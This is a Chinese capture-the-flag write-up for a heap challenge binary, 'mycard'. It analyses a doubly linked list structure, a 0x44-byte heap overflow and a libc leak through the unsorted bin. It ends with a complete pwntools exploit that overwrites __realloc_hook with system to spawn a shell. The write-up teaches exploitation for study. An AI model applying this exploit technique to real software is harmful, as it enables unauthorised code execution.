内容简介:程序源文件:链接:
程序源文件:
链接: https://pan.baidu.com/s/13HavhR0UVg0c9SYfZzAX5g
提取码:t8rt
昨天做了这道题没做出来,看了wp却只有思路没有exp,于是自己又捣鼓了一天写出了详细的程序分析和exp编写,适合新手一起学习.建议边调试边阅读.
1.值得学习的地方:
程序canary,nx,pie,aslr全开,所以要绕过特定保护
如何泄露地址.
如何利用realloc.
逆向分析链表结构.
2.程序分析
canary,nx,pie,aslr保护开启
3个功能.create,edit, delete
create分析:
首先向栈中输入name,这里没有栈溢出,再输入描述(desc表示)的长度(desc_len),该处也没有栈溢出.通过strtol将desc_len字符串转为数字作为malloc的参数,进行分配desc的内存. 大小不能大于1024字节,然后输入desc.
继续分配一个结构体,如下:
struct moon{ char name[0x40]; dword desc_len; char desc[desc_len]; };
该结构也是通过malloc分配的.然后将name通过strncpy复制到moon中,写入desc_len,
再通过memcpy复制desc到其中. 这里检查严格,都没有堆溢出.
由于desc已经复制到moon中了,所以将之前分配的desc释放掉.
继续分配一个结构体如下:
strcut node { struct moon p; strcut node pre;//程序使用了双链表结构,这个指向前一个节点,如果是第一个则指向自己 strcut node* next;///程序使用了双链表结构,这个指向下一个节点 }
将p指向新分配的moon后,插入到链表头ptr,该全局变量位于.bss节上.
插入方式是再双链表末尾插入.
里面构建这样一个链表结构:
help:
该函数遍历双链表,将已有的moon的name和desc通过write输出,而且这里的write输出长度固定,如下图,所以可以用于泄露libc基址.最后记录链表node个数并返回.
edit:
首先通过help得到node个数,如果为空,直接返回.再继续输入id号,当id号非法则相当于只show而不edit了,再输入name,将其写入到目标结构的name成员.再输入长度,转为数字,判断数字是否比原来的desc大,如果没有则用新输入的desc覆盖写入,否则通过realloc重新分配堆内存再写入desc成员中.
关键点如下:
这个判断有问题,导致0x44字节的堆溢出. 由此可知如果通过堆溢出修改到一个node节点的p指针,然后再次edit它,不就能实现任意地址写任意数据了.
此外细心点发现,realloc分配的内存竟然只将最低1字节写入了该结构.所以构造时要小心.
delete分析:
首先还是通过help得到链表节点数,如果为0直接退出.然后输入id.由于create时,第一个node的pre指针指向自己,所以程序通过判断是否id为1,当id=1和>1是不同的处理逻辑.
但最终还是正常地摘下某个节点,使链表仍然保持双链表结构.摘下节点后,先释放节点的p指向的结构的内存,然后释放节点内存.
3.漏洞利用分析
首先是地址泄露.从上面的分析可知,当创建一个moon后再释放,代码及堆结构如下:
create('asdf',0xc+0x40,'desc')#这里使为了使moon内存分配的大小为0x90(0x4c+0x4+0x40),释放后在unsorted bin中.这里0x90+head的0x10字节就是0xa了. delete(1) gef➤ heap chunks Chunk(addr=0x555debb46010, size=0x60, flags=PREV_INUSE)这个是释放后的desc [0x0000555debb46010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] Chunk(addr=0x555debb46070, size=0xa0, flags=PREV_INUSE)这里是释放后的moon结构 [0x0000555debb46070 78 4b 92 2f 4b 7f 00 00 78 4b 92 2f 4b 7f 00 00 xK./K...xK./K...] Chunk(addr=0x555debb46110, size=0x20, flags=)这里是释放后的node结构 [0x0000555debb46110 00 00 00 00 00 00 00 00 10 61 b4 eb 5d 55 00 00 .........a..]U..] Chunk(addr=0x555debb46130, size=0x20ee0, flags=PREV_INUSE) ← top chunk ────────────────────────── Fastbins for arena 0x7f4b2f924b20 ────────────────────────── Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555debb46110, size=0x20, flags=) Fastbins[idx=1, size=0x20] 0x00 Fastbins[idx=2, size=0x30] 0x00 Fastbins[idx=3, size=0x40] 0x00 Fastbins[idx=4, size=0x50] ← Chunk(addr=0x555debb46010, size=0x60, flags=PREV_INUSE) Fastbins[idx=5, size=0x60] 0x00 Fastbins[idx=6, size=0x70] 0x00 ───────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────── [+] unsorted_bins[0]: fw=0x555debb46060, bk=0x555debb46060 → Chunk(addr=0x555debb46070, size=0xa0, flags=PREV_INUSE) [+] Found 1 chunks in unsorted bin. ────────────────────────── Small Bins for arena 'main_arena' ────────────────────────── [+] Found 0 chunks in 0 small non-empty bins. ────────────────────────── Large Bins for arena 'main_arena' ────────────────────────── [+] Found 0 chunks in 0 large non-empty bins.
再申请内存,并输出:
create('name',0x90,'qwer')#让desc分配为上次释放的内存,这样后8字节指向main_arena中了,通过write输出即可泄露libc基址. print p.recvuntil('4:exitn') p.sendline('3') print p.recvuntil('Description :qwer') heap_addr = p.recvuntil('>') #由于将desc复制到moon结构中,通过edit将信息泄露 p.sendline(str(123))#输入非法id,使只输出信息,不进行edit,就返回. heap_addr = heap_addr[4:12] heap_addr = u64(heap_addr) print 'heap_addr: ',hex(heap_addr) libc_base = heap_addr-0x3c4b78 print 'libc base:', hex(libc_base) [1] Name :name Description :qwer heap_addr: 0x7f4b2f924b78 libc base: 0x7f4b2f560000
由此已经得到libc基址
再思考如何利用edit实现任意地址写任意数据.如果能够构造当前realloc之后的moon堆块的下一个堆块是某个node所在的内存,那就可以通过修改下一个node的p指针为 realloc_hook的地址,然后edit这个node,使用name写入system到 realloc_hook,再通过调用realloc而转入调用__realloc_hook劫持程序.
create('second', 0xa0,'asdf') create('third', 0xc,'asdf') create('fourth',0x50,'asdf') delete(2) 此时堆块情况如下: gef➤ heap chunks Chunk(addr=0x555debb46010, size=0x60, flags=PREV_INUSE)第3个的moon [0x0000555debb46010 74 68 69 72 64 00 00 00 00 00 00 00 00 00 00 00 third...........] Chunk(addr=0x555debb46070, size=0x20, flags=PREV_INUSE)第2个的node,已free,在fastbin [0x0000555debb46070 00 00 00 00 00 00 00 00 10 61 b4 eb 5d 55 00 00 .........a..]U..] Chunk(addr=0x555debb46090, size=0x20, flags=PREV_INUSE)第3个的node [0x0000555debb46090 10 60 b4 eb 5d 55 00 00 78 60 b4 eb 5d 55 00 00 .`..]U..x`..]U..] Chunk(addr=0x555debb460b0, size=0x60, flags=PREV_INUSE)已free,在fastbin [0x0000555debb460b0 00 00 00 00 00 00 00 00 78 4b 92 2f 4b 7f 00 00 ........xK./K...] Chunk(addr=0x555debb46110, size=0x20, flags=PREV_INUSE)第1个的node [0x0000555debb46110 30 61 b4 eb 5d 55 00 00 10 61 b4 eb 5d 55 00 00 0a..]U...a..]U..] Chunk(addr=0x555debb46130, size=0xe0, flags=PREV_INUSE)第1个的moon [0x0000555debb46130 6e 61 6d 65 00 00 00 00 00 00 00 00 00 00 00 00 name............] Chunk(addr=0x555debb46210, size=0xb0, flags=PREV_INUSE)第4个的moon [0x0000555debb46210 66 6f 75 72 74 68 00 00 00 00 00 00 00 00 00 00 fourth..........] Chunk(addr=0x555debb462c0, size=0xf0, flags=PREV_INUSE)第2个的moon,已free,在unsorted bin [0x0000555debb462c0 78 4b 92 2f 4b 7f 00 00 78 4b 92 2f 4b 7f 00 00 xK./K...xK./K...] Chunk(addr=0x555debb463b0, size=0x20, flags=)第4个的node [0x0000555debb463b0 10 62 b4 eb 5d 55 00 00 90 60 b4 eb 5d 55 00 00 .b..]U...`..]U..] Chunk(addr=0x555debb463d0, size=0x20c40, flags=PREV_INUSE) ← top chunk gef➤ heap bins [+] No Tcache in this version of libc ────────────────────────────────────────────────────────────────── Fastbins for arena 0x7f4b2f924b20 ────────────────────────────────────────────────────────────────── Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555debb46070, size=0x20, flags=PREV_INUSE) Fastbins[idx=1, size=0x20] 0x00 Fastbins[idx=2, size=0x30] 0x00 Fastbins[idx=3, size=0x40] 0x00 Fastbins[idx=4, size=0x50] ← Chunk(addr=0x555debb460b0, size=0x60, flags=PREV_INUSE) Fastbins[idx=5, size=0x60] 0x00 Fastbins[idx=6, size=0x70] 0x00 ───────────────────────────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────────────────────────────────────────────── [+] unsorted_bins[0]: fw=0x555debb462b0, bk=0x555debb462b0 → Chunk(addr=0x555debb462c0, size=0xf0, flags=PREV_INUSE) [+] Found 1 chunks in unsorted bin. ────────────────────────────────────────────────────────────────── Small Bins for arena 'main_arena' ────────────────────────────────────────────────────────────────── [+] Found 0 chunks in 0 small non-empty bins. ────────────────────────────────────────────────────────────────── Large Bins for arena 'main_arena' ────────────────────────────────────────────────────────────────── [+] Found 0 chunks in 0 large non-empty bins. 从这里可以发现,再次edit 节点2的时候(此时edit的是原来的第3个,因为第2个被delete掉了,后面的往前减1). 可以通过1字节的realloc地址再低位写入c0,即:0x555debb46010-->0x555debb460c0而第1个的node地址为0x555debb46110.只相差0x50字节,通过edit就可以将第1个node的p指针写入__realloc_hook地址.
getshell:
payload = 'a'*(0xc)#从0x555debb460c0+0x44开始写,故填充0xc个'a'就能到下一个 node了 payload += p64(malloc_hook_addr)#修改第1个node为__realloc_hook地址 edit(2,'asdf',0xa0,payload) edit(1,p64(one_gadget),0x20,'asdf')#修改__realloc_hook为system地址 edit(2,'/bin/shx00',0x300,'asdf')#getshell!!. ......... Len? Description : [*] Switching to interactive mode /bin/sh: 1: asdf: not found whoami root
4.总结
通过修改hook绕过pie,alsr等保护
通过write和unsorted bin泄露libc
通过realloc和堆自身的分配机制和堆溢出实现修改任意内存.
本题的堆分配及释放较复杂, 需要逆向分析链表结构, 所以通过一边分析一边调试还是对新手很有收获的.
5.附上完整exp:
from pwn import * p = process('./mycard') libc = ELF('./libc.so.6') elf = ELF('./mycard') def create(name,desc_len,desc): print p.recvuntil('4:exitn') p.sendline('1') print p.recvuntil('Name:') p.sendline(name) print p.recvuntil('Len:') p.sendline(str(desc_len)) print p.recvuntil('Description:') p.sendline(desc) return def delete(no): print p.recvuntil('4:exitn') p.sendline('2') print p.recvuntil('>') p.sendline(str(no)) return def edit(no, name, desc_len, desc): print p.recvuntil('4:exitn') p.sendline('3') print p.recvuntil('>') p.sendline(str(no)) print p.recvuntil('New name?') p.sendline(name) print p.recvuntil('Len?') p.sendline(str(desc_len)) print p.recvuntil('Description :') p.sendline(desc) return create('asdf',0xc+0x40,'desc') #gdb.attach(p) delete(1) create('name',0x90,'qwer') print p.recvuntil('4:exitn') p.sendline('3') print p.recvuntil('Description :qwer') heap_addr = p.recvuntil('>') p.sendline(str(123)) heap_addr = heap_addr[4:12] heap_addr = u64(heap_addr) print 'heap_addr: ',hex(heap_addr) libc_base = heap_addr-0x3c4b78 print 'libc base:', hex(libc_base) malloc_hook_addr = libc_base+libc.sym['__realloc_hook'] one_gadget = libc_base+libc.sym['system'] create('second', 0xa0,'asdf') create('third', 0xc,'asdf') create('fourth',0x50,'asdf') delete(2) payload = 'a'*(0xc) payload += p64(malloc_hook_addr) edit(2,'asdf',0xa0,payload) edit(1,p64(one_gadget),0x20,'asdf') edit(2,'/bin/shx00',0x300,'asdf') p.interactive()
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 分析用Golang编写的新窃取程序
- 分析用Golang编写的新恶意软件
- 一个golang编写的redis内存分析工具rma4go
- SRE: 性能分析: 一个 Go 编写的简单 HTTP Web 服务器的优化方法
- 基于顺丰同城接口编写sdk,java三方sdk编写思路
- 使用 Clojure 编写 OpenWhisk 操作,第 1 部分: 使用 Lisp 方言为 OpenWhisk 编写简明的代码
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
数据密集型应用系统设计
Martin Kleppmann / 赵军平、李三平、吕云松、耿煜 / 中国电力出版社 / 2018-9-1 / 128
全书分为三大部分: 第一部分,主要讨论有关增强数据密集型应用系统所需的若干基本原则。首先开篇第1章即瞄准目标:可靠性、可扩展性与可维护性,如何认识这些问题以及如何达成目标。第2章我们比较了多种不同的数据模型和查询语言,讨论各自的适用场景。接下来第3章主要针对存储引擎,即数据库是如何安排磁盘结构从而提高检索效率。第4章转向数据编码(序列化)方面,包括常见模式的演化历程。 第二部分,我们将......一起来看看 《数据密集型应用系统设计》 这本书的介绍吧!